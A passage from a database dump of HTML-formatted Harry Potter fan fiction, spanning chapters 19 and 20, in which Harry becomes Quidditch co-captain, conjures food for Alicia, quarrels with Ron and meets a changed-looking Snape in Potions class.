else, since it required the person to concentrate on two things at\nonce. The way Harry was after his initial fight with the Nundu, he had no\nchoice. He would have had died, if he didn&#8217;t try it. It was a lot more\ndifficult since there were three things he had to concentrate on. One,\nperforming the spell. Two, the area where the damage was and three, probably\nthe one that caused most problems, remembering to block the pain.</p>\n\n<p>&quot; Ask her.\nI saw her grabbing on to the tabletop, like her life depended on it. Her\nknuckled were white. I don\'t have to ask her. You have the...&quot; he was\ninterrupted by Hermione in mid sentence.</p>\n\n<p>&quot; Ron...&quot;</p>\n\n<p>&quot; What?&quot;,\ncame a snapped reply from Ron, before he realized it was Hermione he was\ntalking to. </p>\n\n<p>Before he\ncould have time to apologize she said, &quot; I wasn\'t in pain. When he does it\nthe body gets flooded with this tingling sensation. It\'s actually quite nice.\nWhen it happens it\'s kind of hard to keep control of your body.&quot; She\nblushed once more but neither of the boys could tell since her face was already\npink enough as it was. </p>\n\n<p>Ron looked\nback and forth between his two friends before finally saying, &quot; Oh!&quot; </p>\n\n<p>Before he\ncouldn&#8217;t decided between anger and jealousy, but the recent turn of events made\nthe decision very easy for Ron. He was jealous. He was jealous of his friend\nbecause he had a talent that would require him to wait for another six years\nbefore he would be able to do it as a job. But more importantly because he\nwasn\'t the one giving those tingling sensations to Hermione. </p>\n\n<p>Though an\napology came out of Ron Weasley\'s mouth, Harry could see his friend didn\'t\nreally mean it. Harry decided that he would let Ron get away with it since he\nhad no intention of confronting him about his feelings for Hermione, in front\nof Hermione and not to mention the whole school. Besides he didn&#8217;t want the\nsituation to become like the year before, when Ron did not believe Harry about putting\nhis name in the goblet of fire.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry decided\nthat from that point on he was going to be more careful of how he behaved\ntoward Hermione in front of and not in front of Ron. Harry didn\'t want to loose\none of his best friends because Ron was too childish to say how he felt about\nHermione or because he thought Harry and Hermione were more than friends.\nAlmost everyone in the school came to shake hands or to pat both Harry and\nHermione. Many of the Slytherins actually wanted Hermione\'s autographs, though\nit was mainly because she had defeated Harry. </p>\n\n<p>Alicia Spinet\nwaded through the crowd until she was close enough to get Harry\'s attention. &quot;\nHarry!&quot; yelled Alicia loud enough for everyone in the hall to hear. Harry\nstarted to move towards her. When he reached her she whispered to him, &quot; I\nneed to talk to you after his.&quot; Harry wasn\'t sure what this was about but\ndecided that it was probably about the Quidditch trials. &quot; When?&quot;</p>\n\n<p>&quot; I\'ll\nfind you before dinner... looks like your public awaits.&quot; </p>\n\n<p>Harry though he\nhad seen her blush a little as she left but he wasn\'t sure why the Headgirl\nwould blush at him. After the match Harry had to politely turn down over a\nhundred girls asking him to go to the Hogsmede trip with them. Though Harry\nknew he might have to spend the entire day listening to Ron gripe about Victor\nand Hermione, he decided that it was better than being gawked at, prodded and\npinched at by a million witches he didn\'t even know. He was sure the events of Morocco would haunt him for a\nlong time to come. More so than his &#8220;boy who lived&#8221; fame. </p>\n\n<p>For the next\nfive hours Harry had to dodge and evade groups of girls, who thought of Harry\'s\nrefusal, as a challenge and it was a challenge they all wanted to win. Once he\nthought he had finally managed to throw the girls off he literally ran into\nsomeone....</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n\n\n\n\n\n'),
	(13, 19, '\n\n\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 19<br>\n<b>Chapter Name:</b> Button Chicken and Quill Bread</p>\n\n<p>&nbsp;</p>\n\n<p>When Alicia\ncollided with Harry she completely lost balance, which was rather unusual since\nchasers usually had an absurd amount of balance. It came in very handy when\nthey had to grab the Quaffle in mid air. Fortunately, Harry was quick enough to\ngrab a hold of her. Before he had a chance to see to whom he had collided with,\nHarry panicked when he heard the unmistakable sound of the posse of girls\nchasing him, coming down the corridor. The girls thought of Harry\'s polite\nrefusal as a challenge that they intended to win. Harry wanting to avoid the\ngirls, quickly shoved Alicia and himself into the closest empty classroom. He\nlocked the door physically and then started to pace. He couldn\'t think what to\ndo when he remembered a spell he had seen in one of Hermione\'s personal\ncollection of books.</p>\n\n<p>&quot; benito actrony&quot;.\n</p>\n\n<p>Harry wasn\'t\nsure if the spell would work but knew for a fact that the spell could not be\nbroken by a simple unlocking spell. To his enormous relief the door started to\nblaze in a light blue fire and then the door turned into a wall. It was quite a\ntransformation and Harry was brought out of his trance of watching it when he\nheard Alicia gasp. </p>\n\n<p>When he turned\naround he saw Alicia was watching him intently. &quot; I\'m sorry... Those girls\nhave been following me around since launch and-&quot; he looked at his watch,\n&quot; Blime!. It\'s almost time for dinner-&quot; Harry then stopped his\nramblings as he remembered she had something to tell him. &quot; Hey! Didn\'t you\nwant to talk to me about something?&quot; </p>\n\n<p>Alicia finally\nstopped staring at him and said, &quot; Well you know Wood is gone this year\nand the rest of the team suggested that I be the Captain.&quot;</p>\n\n<p>&quot; I\nknow... I remember you telling me this in the morning. Congratulations!&quot;\nsaid Harry as he went and quickly hugged Alicia. When he let go her cheeks were\nslightly pink and she had focused her eyes on a particular tile on the floor.</p>\n\n<p>When Harry had\nfirst joined the team, that was the first year that Alicia had been out of the\nreserves and into the playing team. Since that year, she had impressed everyone\nwith her ability as a chaser. She also helped Oliver with the strategies, when\nhe was their captain. She already knew most of the strategies and was probably\nthe best one in the team fit to be captain. So it really didn&#8217;t come as a\nsurprise for Harry to hear that she had become the captain.</p>\n\n<p>&quot; Well,\nI\'ve decided that since I\'m leaving next year, I\'ll teach you the ropes. That\nway you\'ll be ready to take over when I leave. That means you\'re now as\ninvolved in this as I am. Well... That\'s if you want it...&quot; She looked up\nto see Harry smiling broadly at her.</p>\n\n<p>&quot; Okay.&quot;\nsaid Harry, &quot; I really don\'t have any other choice do it -I mean I\'m going\nto be the most experienced player in the team next year...er...What do I have\nto do?&quot;</p>\n\n<p>&quot; Not\nmuch right now. You\'re going to help me decide on strategies and co-ordinate\nthe practice sessions with me. I had a talk with Madam Hooch and we already\nsorted out when we have the Quidditch field for our training. The next thing is\nchoosing the new keeper. The trials are next weekend. After that we have\npractices ev -&quot; She stopped talking when Harry interrupted her. </p>\n\n<p>&quot; Can I\nsuggest something?&quot;</p>\n\n<p>&quot; What?&quot;\nshe said, raising an eyebrow.</p>\n\n<p>&quot; Well...\nmay be we should audition for all the positions.&quot; Alicia was a bit\nsurprised at the suggestion so she asked, why he thought that.</p>\n\n<p>&quot; Except\nfor me and possibly the new keeper we have to replace the entire squad next\nyear anyway. The reserve team is going to leave at the end of the year, if we\nscout out this year we\'ll be able to have a squad that\'ll be more experienced.\nWhen we train we take them along as well as the reserve side. Maybe after the\npractice we separate out into two teams and play against each other and then\nwhen WE (the main team) have to practice they can practice with the reserve\nside. This way we\'ll be able to get some real game type practices.&quot;</p>\n\n<p>Alicia was\nbeaming at Harry when he finished, &quot; I knew I made the right decision when\nI chose you to be the co-captain. Well...maybe we should head out.&quot; </p>\n\n<p>Harry looked\nat the door once and said, &quot; The girls are still there...&quot;</p>\n\n<p>&quot; How do\nyou know?&quot;</p>\n\n<p>&quot; The\nspell on the door... wait I might be able to channel it to you.&quot; Harry\nstood up and pointed his wand at his left palm and said something that Alicia\ncouldn\'t hear even though she was very close. A thin red beam hit his palm\nmaking it glow with a small red tint. </p>\n\n<p>He presented\nhis hand to her and said, &quot; take it.&quot;</p>\n\n<p>Though Alicia\nwas apprehensive to see Harry perform unknown magic, she didn\'t hesitate to\ntake his hand. As soon as she did, she felt like someone had pulled the world\naway from her. She felt that way for a second, since everything went black for\nthat period of time. Then everything came back to normal... well not really\nnormal since everything was a bit more focused and colorful.</p>\n\n<p>She looked at\nwhere the door was and saw right through it. There were several girls that\nsomehow had managed to find out that Harry was behind that wall and were\ncamping outside the door. They were happily eating food and talking when\nsuddenly everything went back to normal and she could only see the wall. </p>\n\n<p>&quot; What\nwas that? I mean... Can you see through walls?&quot; She asked amazed at\nwhatever Harry had done and partly a combination fear and self-conscious that\nHarry might be seeing right through her dress.</p>\n\n<p>&quot; No!&quot;\nHarry laughed a little and then said, &quot; The spell I did on the door -well\nit let\'s the caster see through the door. All I did after that was just let you\nsee what I saw. I picked it up in Morocco....&quot; Harry didn\'t want to be dragged\ninto a conversation about his experiences in Morocco so he changed topic.</p>\n\n<p>&quot; Do you\nwant something to eat?&quot;</p>\n\n<p>Alicia\nlaughed... no giggled a little before saying, &quot; Yes! I\'m hungry but I\ndon\'t think you\'ll make it past the girls there.&quot;</p>\n\n<p>Harry wondered\nhow the girls knew Harry was in the room, but he remembered that seventh years\nknew a lot more magic and it really would not surprise him if there was\nsomething like the marauders map out there. Though he doubted that anything as\ncomplicated as the Marauders map was out there. He knew it could not be too\nhard to hard to bewitch a normal school map to show where a person is, as\nsimple searching spell would reveal where Harry is and since he was not in a\nsecret chamber, his whereabouts must be pretty easy to locate.</p>\n\n<p>&quot; Who\nsays we have to?&quot; Harry waved his wand as he whispered some incantations\nand two silver plates along with accompanying cutlery shimmered into existence.</p>\n\n<p>&quot; I can\nonly make three things using magic. An Ice Cream Sundae, Roasted bits of\nchicken and bread. Do you think you\'ll be able to live on that... Or do you wanna\nget out of here...&quot;</p>\n\n<p>&quot; You can\ncook... using a wand?&quot; asked Alicia, surprised at the bit of information.</p>\n\n<p>&quot; What do\nyou think I survived on in the desert?&quot;</p>\n\n<p>&quot; WOW! I\ncan get a look in then?&quot; Alicia in her seven years in the Wizarding world\nhad never seen a meal cooked with a wand alone and now she was going to see the\nboy who lived cook it. For her. She only hoped it didn\'t taste like what her muggle\nfather used to make when her mother was out of town on business. Alicia was\nsurprised to see how good Harry was in transfiguration. Considering he had\ntransfigured one of her spare buttons from her cloak into frozen chicken. The\nseasonings mysteriously appeared out of thin air put themselves on the chicken\nbits and then disappeared.</p>\n\n<p>She had known\nthat this type of magic was possible but it takes a few months of dedicated\nstudy before a person can do this. The ice cream actually just came out of the\nwand. The bread was a quill that Harry had in his pocket. Once all finished,\nthey sat down on the table that Alicia transfigured from two smaller tables. </p>\n\n<p>&quot; It\'s\nnot going to taste like buttons and quills is it?&quot; she asked afraid of the\nanswer.</p>\n\n<p>&quot; No! You\'ll\nlike it. I promise.&quot; Alicia had to admit it was better than what her\nfather could cook but it was a far cry from what the house elves make. As if he\nheard her say those things in her mind Harry startled her by saying, &quot; I\nknow it\'s not that good but I promise I\'ll get you the real food when we get\nout of here.&quot;</p>\n\n<p>By the time\nthe food was finished the posse had abandoned hope of getting Harry Potter and\nwent back to their respective common rooms. When the room was back to the way\nit was Harry lifted the spell on the door and they made their way to the common\nroom to. On their way back they stopped by the kitchen to get some proper food.</p>\n\n<p>When they\nentered the kitchen a swarm of house elves approached them. Alicia had never\nbeen to the kitchen before so she was surprised to see the sheer number of\nhouse elves in there. &quot; Is there always this many here?&quot;</p>\n\n<p>&quot; Nope&quot;\nanswered Harry. &quot; Usually there are three times as many working\nhere.&quot;</p>\n\n<p>This is when\nDobby approached Harry. &quot; &#8216;Arry Potter. You is here to see me?&quot;</p>\n\n<p>&quot; Yes,\nDobby. How are you doing? Where\'s Winky, by the way?&quot;</p>\n\n<p>&quot; I is\nhappy sir. Dumbledore make me head elf.&quot; Dobby said as he pointed at the\nshiny silver badge on his chest. It was upside down. &quot; Winky no here...\nshe be run away.&quot;</p>\n\n<p>&quot; Why did\nshe run away?&quot; asked Harry.</p>\n\n<p>&quot; She be\nupset sir. She be back soon... she always runs away and be back two days.&quot;</p>\n\n<p>&quot; Dobby\ncould you tell me when she is back the next time?&quot;</p>\n\n<p>&quot; Yes\nsir... why?&quot; asked a curious Dobby.</p>\n\n<p>&quot; I have\nmy reasons. I was wondering could me and Alicia here, get some food. We missed\nour dinner.&quot;</p>\n\n<p>Dobby looked\nat Alicia, saucer eyes, and then at Harry. &quot; Harry Potter found a new\nhoney?&quot; </p>\n\n<p>&quot; Honey?&quot;\nasked Alicia and Harry both at the same time as to what that really meant.</p>\n\n<p>&quot; Your\nhoney&quot; said Dobby, as if telling it twice would make it more clear to\nHarry. Surprisingly enough it did. </p>\n\n<p>&quot; Who\'s\nmy honey....&quot; No sooner those words came out of his mouth; Harry realised\nwhat Dobby had meant. He had thought that Hermione was his girlfriend &#8211;i.e.\nhoney. &quot; You mean Hermione?&quot;</p>\n\n<p>Dobby nodded.</p>\n\n<p>&quot; No she\nwasn\'t my honey. I never had a honey&quot; Alicia still didn\'t get it so</p>\n\n<p>Harry told\nturned around and told what Dobby had meant. &quot; Dobby thinks Hermione was\nmy girlfriend.&quot;</p>\n\n<p>&quot; Why\nwould he think that?&quot; asked Alicia.</p>\n\n<p>&quot; Because\nwhenever I\'m here I\'m with Ron or Hermione, most of the time with her... anyway\nnow that I\'m here with you he thinks that you\'re my honey -I mean\ngirlfriend.&quot;</p>\n\n<p>&quot; Ohhh.&quot;\nShe blushed but Harry missed it, since he was now taking the tray full of foods\nthat Dobby and the other house elves gave them. Alicia and Harry sat next to\neach other near the entrance to the common room and started to eat their food.\nAll the while they talked about their families, friends and Quidditch. After\nthey finished their food, the plates disappeared with all the uneaten and\nunwanted food. </p>\n\n<p>&quot; OK, We\nbetter enter separately...&quot; said Alicia just before she was going to say\nthe password.</p>\n\n<p>&quot; Why?&quot;\nasked Harry. Alicia\'s cheek only turned slightly pink in response but they\nentered the room together anyway, since she really didn&#8217;t want to tell Harry\nthe reasons. The only two people in the room were Ron and Hermione and they\nwere very busy arguing on the top of their voices to notice either Harry or\nAlicia had entered the room. When Alicia said good night and left, Harry wished\nhe could talk to her a bit longer. When he was talking to her out side the\ncommon room he had found out that they had a lot in common, least of which was\nthe fact that they both loved Quidditch. </p>\n\n<p>They both were\norphaned at an early age and raised by relatives. Her mother had died shortly\nafter childbirth and her father had died a few years after that. In her case\nthe relatives were childless, so they raised Alicia as their own. They both had\nproblem getting their relatives to let them come to Hogwarts, though their\nreasons were different. </p>\n\n<p>Harry\'s didn\'t\nwant any &quot;abnormality&quot; in their lives and while, Alicia\'s didn\'t want\ntheir adoptive daughter to be away for long periods of time. Their favorite\nclass was Defence against Dark Arts and they both hated Potions to the same\ndegree. Harry hated it more since Snape had a grudge against him. </p>\n\n<p>&nbsp;</p>\n\n<p>When Harry\nturned around to Ron and Hermione staring at him. He was perplexed that they\nhad actually stopped fighting. &quot; What?&quot; he asked.</p>\n\n<p>Ron answered, &quot;\nWhat were you doing with the, Headgirl?&quot; </p>\n\n<p>Harry looked\nat Hermione who was also nodding to signal her interest in the topic as\nwell.&quot; Well...&quot; he twirled around once with his arms out and said, &quot;\nYou\'re now looking at the co-captain of the Quidditch team and&#8230; no Ron I can\'t\ngive you a position in the team. But the keeper trials are on next weekend so\nyou better get practicing, if you really want the job. I\'ll be going to sleep\nnow.&quot; </p>\n\n<p>Ron and\nHermione both congratulated Harry for his new success, though Ron\'s felt like\nonly lip service to Harry. He really wished that Ron didn&#8217;t get jealous of him\nthat easily. The Hogsmede trip day started okay enough until Hermione entered\nthe great hall in the light yellow dress that Harry had seen when she went to\nhis house. Ron was lost for words, but Harry went to her and kneeled in front\nof her forgetting the promise he had made to himself about not doing anything\nthat might upset Ron.</p>\n\n<p>&quot; My\nlady&quot; he said with exaggerated poise &quot;... Would you grant me the honor\nof escorting you to the banquet?&quot; Hermione giggled at this and gave her\nhis hand reluctantly.</p>\n\n<p>&quot; Harry.\nWhat the hell are you doing?&quot; she asked, as he got off of his knee and\nlocked his arm with hers. </p>\n\n<p>&quot; Your\nservant is just worshipping the ground you walk upon, My lady.&quot;</p>\n\n<p>&quot; Stop\nit. You\'re embarrassing me&quot; there was hints of red in her cheeks.</p>\n\n<p>&quot; We had\nthat huge fight yesterday, because I didn\'t complement you. Are we going to\nhave another one because, I\'m overdoing it? -&quot; he smiled one of his more\nmischievous smiles. &quot; &#8211;&#8216;cause I would love to do it again.&quot; </p>\n\n<p>This comment\nfrom Harry made her blush. The distance from the entrance to the tables was a\nshort one, so they didn\'t have to have their arms locked for no more than two\nseconds. Harry guided Hermione next to Ron and then he sat on the other side of\nRon. </p>\n\n<p>When they\nfinished eating Harry used his wand to conjure up some ice cream for his two\nbest friends. Some of people on the table were surprised to see Harry could do\nthis and soon everyone from the Gryffindor house had a goblet full of ice cream\nin front of them.</p>\n\n<p>Except for the\nSlytherins, none of the tables were close enough to see Harry do it. A small\nfirst year Slytherin girl came over to the table.</p>\n\n<p>&quot; Excuse\nme, sir...&quot; she said is a very low and shaky voice.</p>\n\n<p><i>&#8216; Sir...hmm.\nRather formal&#8217;</i>, thought Harry.</p>\n\n<p>Harry had seen\nher coming from the Slytherin table, but he smiled at her anyway, remembering\nthat Professor Snape, was a friend of his mothers, when even her own house was\nfilled with people who hated her. &quot; What can I do for you? &#8211;Umm, what\'s\nyour name?&quot;</p>\n\n<p>&quot; Jocelyn\nEverett, I was wondering...&quot; she was stuttering rather badly, but Harry\nguessed why she was there when she brought out her rather shaky arm from her\nback. She was holding out a small golden goblet.</p>\n\n<p>&quot; You\nwant some ice cream?&quot; Harry wanted to be sure. The girl could only nod in\nresponse to this. &quot; Sure. Give me your goblet.&quot; </p>\n\n<p>After he was\ndone he asked if she wanted something else. She said thanks and ran off to join\nher friends. Harry could see some of her friends were giggling, but received\nmostly venomous glances from other Slytherins. Ron along with rest of the\npeople in the hall was looking at him like he had just killed someone. The look\nof disgust on their faces prompted Harry to ask Ron a question. &quot; What is\nit Ron?&quot;</p>\n\n<p>&quot; What is\nit?...&quot; he looked flustered and exasperated. &quot; You gave ice cream to\na Slytherin! That\'s what.&quot; There was a trace of bitterness in his voice\nthat Harry didn\'t like. Harry would have had been very upset with Ron, if it\nwas just him, but the rest of the house wanted to ask the same question. It was\njust that Ron was the only one who was willing to speak their mind. &quot; And\nthat would be bad.... Because?&quot; Harry feigned ignorance.</p>\n\n<p>&quot; Great\njumping Merlin!&#8221; Ron exclaimed. &#8220; Harry, why the hell did you do it?&quot;</p>\n\n<p>&quot; Not\nevery one in Slytherin is bad. In fact not too long ago, Gryffindors picked on\ntheir own.&quot; He said, rather testily. &quot; What\'re you talking\nabout?&quot; asked Alicia who was glaring at Harry for putting down his own\nhouse. Harry looked straight in her eyes and said, &quot; When my mom came here\nshe was one of the very first Muggle born witches and wizards to be allowed\ninto Hogwarts after almost two and a half centuries of being banned. On her way\nto the first class her fellow Gryffindors picked her on. So don\'t take this\nhigh and mighty, Gryffindors can\'t-do-anything-wrong attitude with me. &#8220;</p>\n\n<p>Harry wanted\nto tell that Snape was one of her few friends, but decided that it was a bit of\ninformation that he did not feel comfortable sharing with anyone other than\nthis very close friends &#8211; Hermione, mainly. </p>\n\n<p>&#8220; If we can\npick on our own...&quot; Harry turned towards Ron, &quot; ... being nice is\nsomething they can do without too much of a problem and Ron...&quot; he paused\nfor a split second and finished his sentence, &quot; Don\'t tell me you\'ve\nforgotten about Wormtail&quot; </p>\n\n<p>Ron shivered\nat the mention of the name Wormtail. He was an animagus disguised as a rat. For\nthree years he had shared the same bed with this wizard who could assume the\nform of his pet rat. The same wizard, who was responsible for the death of\nHarry\'s parents, as he had betrayed their location to Lord Voldemort, their\nkiller. Wormtail was a Gryffindor, and one of the closest friends with James\nPotter.</p>\n\n<p>Harry emptied\nhis goblet of ice cream in a big gulp and left without saying anything.\nHermione knew of the story from before so she knew how upsetting it was for\nhim. She didn\'t even bother to finish the rest of her food as she took off\nafter him. &quot; Hey, Harry! Wait up!&quot; she yelled once they were out in\nthe main corridors. </p>\n\n<p>&quot; What?&quot;\nhis voice was curt but then he apologized, &quot; I\'m sorry. I didn\'t\nmean-&quot; but Hermione interrupted him.</p>\n\n<p>&quot; I know.\nLet\'s go to the library. I still have about an hour before the carriages arrive.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>After saying\nthose words Hermione proceeded to drag Harry to the library. He could have had\neasily wrangled himself out of her grip, but decided that he would like to\nspend some time with one his friend who wasn\'t jealous of his achievements. Harry\nhad been in the library countless times before but he had never bothered to\ncheck out anything other than spells and Quidditch related books. Hermione\nseemed to know exactly where she wanted to go and Harry let her lead. Well he\nactually didn\'t have a choice like he had a few seconds before. As soon as\nHermione had entered the library her excitement caused her to grip Harry\'s hand\nstronger than before... too strong for Harry to get out of. In fact it\nsurprised Harry to find out how strong a person she really was.</p>\n\n<p>They sat down\non a corner table at the back and started to read the same book, \'History of\nSpells\'. Harry finished the huge book in less than forty-five minutes a full\nten minutes after Hermione. &quot; You\'re getting good at this, Harry. I might\nactually have some competition for marks this year...&quot;</p>\n\n<p>&quot; Well\nnot really...&quot;said Harry before teasing her by saying, &quot; I\'ll be\nwiping the floor with you. &quot;</p>\n\n<p>&quot; We\'ll\nsee... We\'ll see&quot; she imitated Harry\'s smile. Just then, Ron wandered into\nthe library. Ron apologized for being so stupid at breakfast. &quot; It\'s fine,\nRon. You couldn\'t help it&quot; said Hermione. The trio burst into laughter at\nHermione\'s joke. It was the first time either Harry or Ron had laughed at a\njoke that Hermione had said. </p>\n\n<p>When Hermione\nleft they both said good bye. An awkward silence between Harry and Ron fell\nover. Harry was the first to break it. &quot; I\'ve dropped divination.&quot; </p>\n\n<p>&quot; Why?...\nI mean we\'re both very good at it and it gives three owls just for sitting\nthrough the test.&quot; said Ron. </p>\n\n<p>&quot; I\'m\nsick and tired of doing that stupid subject. I\'ve changed to Runes and dead\nlanguages... The reason I\'m telling you this is because I don\'t want you to\ndrop the subject.&quot;</p>\n\n<p>&quot; What?\nWhy? -No if you change I\'ll change too&quot; said Ron rather reluctantly.</p>\n\n<p>&quot; Face it\n-you love the subject. I\'ve seen how you love coming up with new ways to die\n-Oh that reminds me.&quot; Harry started to search for something in his pocket.\nHe took out a small green book from his shirt pocket (weekend so he was wearing\nmuggle clothes) and handed it to Ron. &quot;Hermione gave me that as a birthday\npresent. I won&#8217;t be using it anymore.&quot; Ron took a look at the title \'66666\nmuggle and magical ways You can die\' and for a moment looked as though he might\nactually cry.</p>\n\n<p>&quot; It\'s\nstill my book -I\'m just lending it to you.&quot; Ron then said a genuine thank\nyou that Harry took as a sign of them mending their friendship. </p>\n\n<p>&nbsp;</p>\n\n<p>After this the\npair talked for about two hours about Quidditch before Ron veered off topic and\nstarted about Hermione and Victor. After about two hours of Ron making a list\nas to why Hermione should not be with Victor, Harry just snapped. &quot; Ron\nyou moron! If you thought for one moment I didn\'t see how feel about Hermione,\nyou\'re wrong. If you don\'t have the guts to tell her or at least do the decent\nthing and be honest with yourself. Stop venting your frustration on me. You\ndon\'t see me going around moping because of Cedric dying and that\'s a hell of\nthing to carry around with you. I am dealing with it. By myself.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry left the\nlibrary without saying one more word. The rest of the day Harry made sure the\nfirst and the second years didn\'t get themselves into trouble. There were very\nfew Slytherins this year so that meant that Harry had to stop his house members\nfrom picking on them. Harry actually gave three of the Gryffindors detentions\nfor the next weekend and took off a point each from his own house for starting\na fight with the Slytherins. Harry didn\'t know it but that day he made some Slytherin\nfriends that he\'ll need in upcoming years.</p>\n\n<p>&nbsp;</p>\n\n<p>At lunchtime, Crabbe\nand Goyle wanted to show off their magical prowess by showing that they could\nmake ice cream come out of their wand as well. Unfortunately they didn&#8217;t listen\nto the stern warnings that Malfoy had given them. Malfoy knew that his goons,\nbarely qualified to be at Hogwarts and what they were attempting to do would\nrequire them to be a lot better in magic then they were. Even better than\nhimself. </p>\n\n<p>By the end of\nthe lunchtime, half the Slytherin table was covered with flour, milk, cream,\nsugar and a variety of other materials. When Professor McGonagall arrived she\nsaw Malfoy yelling at the goons. She thought it wad Malfoy who was at the\nsource of the trouble and his two goons were aiding him. Before Malfoy could\nprotest, his house had lost five points.</p>\n\n<p>If Harry\nwasn&#8217;t so distracted by what had happened at the Library with Ron, he might\nhave had heard all the commotion behind him and Malfoy getting punished for\ndoing something that he didn&#8217;t do. No one in the hall said anything to defend\nhim. Malfoy had done plenty of things, which saw innocent people get in trouble\nfor what he had done and most people saw it as revenge from above. </p>\n\n<p>&nbsp;</p>\n\n<p>Ron wasn\'t\nthere at lunchtime... but then again Harry didn\'t really want to talk to Ron.\nAt seven in the afternoon Hermione showed up with Ron in the common room. Ron\napologized for his behavior towards Harry and said that he\'ll try to get the\nmatter sorted. Hermione was oblivious to the fact that she was the reason the\nfriends had the outburst and neither of them would tell her why they had\nfought. </p>\n\n<p>&quot; Well, I\nhope you guys did all you school homework because tomorrow we have school&quot;\nsaid Hermione, as her eyes glazed over. Before Ron could open his mouth to say\nsomething he thought was funny, Harry grabbed Ron&#8217;s mouth shut. He didn&#8217;t want\nto be in the middle of a row between Ron and Hermione. Not tonight after\nHermione had helped him so. &nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 20, '\n\n\n\n<p><b>&nbsp;</b></p>\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 20<br>\n<b>Chapter Name:</b> The New Potions teacher?*!</p>\n\n<p>When Harry and\nrest of the Gryffindor house walked into the Potions class they found it almost\nempty. The class wasn\'t scheduled to start for another five minutes but because\nof the loud argument between Harry and Hermione on a Dueling move the whole\nhouse had woken up about half an hour before they were supposed to. </p>\n\n<p>The Gryffindor\nstudents as usual, took their seat as far back as they could from the front of\nthe room without actually going out side the room. Harry took his usual seat\nbetween Hermione and Ron with Neville on the other side of Hermione. </p>\n\n<p>When Malfoy\nand rest of the Slytherins came into the room, they mumbled something as they\npassed the table where Harry and his friends were sitting. Malfoy headed for a\ntable that was occupied by Pansy Parkinson. Usually she would be all over\nMalfoy trying to get his affection but today she had decided she was too good\nfor him. As soon as Malfoy sat down on the table she got up and took a seat next\nto one of her other friends. </p>\n\n<p>This was a\nsurprise that didn\'t go unnoticed by either of the houses but they said nothing\nabout it. But the day would hold many more surprises that neither Harry nor the\nGryffindors could have had seen coming.</p>\n\n<p>A man dressed in\nbright green robes and nicely parted black shoulder length hair entered the\nroom. The Slytherins were puzzled to see that the man took a seat in what used\nto be Professor Snape\'s table. He started to look through the scrolls rolled\nneatly on one side of the table. Malfoy felt as the Slytherin prefect, he\nshould ask what this stranger was doing. He stood up and was about to say\nsomething when the stranger used Professor Snape\'s voice and said without\nlooking up, &quot;Mr. Malfoy. Can I help you?&quot;. </p>\n\n<p>The Slytherins\nwere about as much shocked as a person can be before they die. But the\nGryffindors knew the man&#8217;s identity, even before he entered the room. </p>\n\n<p>The\nGryffindors had all memorized the distinct tap noise his shoes made every six\nsteps, the noise that he made as he took his customary deep breath upon\nentering the dungeon where the class was always held. </p>\n\n<p>Harry had\nalways assumed that Professor Snape did that to fill him self up with the fear\nand anxiety of the Gryffindor students. But the one thing that was etched in\ntheir brain, more than any other, was the rustling sound his robes made when he\nwould use his left index finger to scratch his bottom once after he entered. </p>\n\n<p>&quot; Good\nMorning Class. Beautiful day today isn\'t it&quot; Snape had a silly grin\nplastered all over his face as he looked through the crowd of students in the\nclass. He did a double take when he saw that Harry was actually on time and\nreading his Potions book with much enthusiasm. &quot; I came home particularly\nlate... No need to bore you with my life details ... First order of business\ntoday is the official speech that I am obliged to give you.&quot; He took out a\npiece of paper and started to read out. </p>\n\n<p>&quot; The OWL\nwere first....&quot; the speech was about when and how the OWL came into being,\nwhat was required of them and what they were expected to do. It took almost one\nand half hours to get through it. Much to his annoyance only two people in the\nwhole class was looking at him when he had finished. And they were Harry and\nHermione. </p>\n\n<p>The rest were\neither concentrating on their quill or something very interesting on the floor\n&#8211; a scratch or a speck of dust on the floor or the ceiling or their table.\nMalfoy was trying to cozy up to the girl that came and sat with him after Pansy\nleft. Her name was, as Harry recalled from his very first year, Blaise Zabini.\nThough Snape saw it he did absolutely nothing to stop it. If two Gryffindors\nwere just sitting closer to each other than normal he would have had put both\nof them in detention. </p>\n\n<p>&quot; Ahem&quot;\nhe coughed a loud false one to get everyone\'s attention. &quot; Now that I have\nfinished my official act... From the looks on your face a lot of you had a good\nholiday others however did their homework. </p>\n\n<p>&nbsp;</p>\n\n<p>He gave\nNeville a look, making him shriek. <i>&#8216; That was a good start of the year.&#8217; </i>&nbsp;thought\nSnape, when he heard the nervous Gryffindor make the noise. </p>\n\n<p>&quot; It\'s\nhard to believe that even the laziest and clumsiest amongst you have started to\nwork harder now since the OWLS are this year. Mr. Longbottom, I was shocked\nbeyond belief to see that you actually wrote something that made sense, though\nhalf the questions weren\'t answered or done properly. It was a proud day for\nthe Gryffindors, when you finally managed to do a homework without Ms. Granger\ntelling you the answers.&quot; </p>\n\n<p>Most of the Slytherins\nbroke out in laughter. He then went through all the student\'s work until there\nwas only four left. Harry, Ron, Hermione and the teachers pet Malfoy.</p>\n\n<p>&quot; Mr.\nWeasley... did you have a good holiday?&#8221;</p>\n\n<p>Ron opened his\nmouth, but Snape put up his hand. &#8220; Wait. Don\'t answer that question. I can see\nthe answer by the shabby work that you handed in. It was barely any better than\nMr. Longbottom&#8217;s. The only thing you made progress in answering the questions\nwas getting all the spelling right. Yet another big achievement for the\nGryffindor House. Three points off the Gryffindors for poor structure of the\nessay, one for content and two for neatness.&quot; He threw Ron\'s paper at him.\n</p>\n\n<p>&quot; Now I\ncome to Ms. Know-it-all-Granger.... Oh look you\'ve had a hair cut. I was\nwondering how long it will take you to realize that long bushy hair only suits\na mountain gorilla.&quot; </p>\n\n<p>Malfoy burst\ninto laughter at this, as did a few of the Slytherins. Most didn\'t since they\nhad seen her fight and didn&#8217;t fancy meeting her in a dueling class they were\ntaking. They knew Hermione had a great memory and were pretty sure that if they\ndid laugh at her she would remember. They didn&#8217;t know whether Hermione would\nattack them really hard when she had a chance, but they had no intention of\nfinding out. Hermione seemed rather unmoved by the comment unlike Ron who had\nto be 